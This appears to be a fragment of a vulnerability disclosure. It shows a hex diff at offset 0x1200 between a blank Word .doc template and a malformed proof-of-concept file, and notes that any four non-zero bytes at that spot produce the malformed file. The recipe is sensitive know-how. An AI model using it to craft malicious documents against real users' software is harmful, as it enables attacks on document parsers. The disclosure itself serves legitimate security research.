$ Binnary diff of template file (proper empty doc document) and malformed file
(showing just the offset that differs):
0000 1200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -- template file
0000 1200: 00 00 00 00 00 00 63 6F 6E 64 00 00 00 00 00 00 -- proof of concept
Actually it doesn't matters (almost) what 4 bytes we will put there untill they != 0x00.
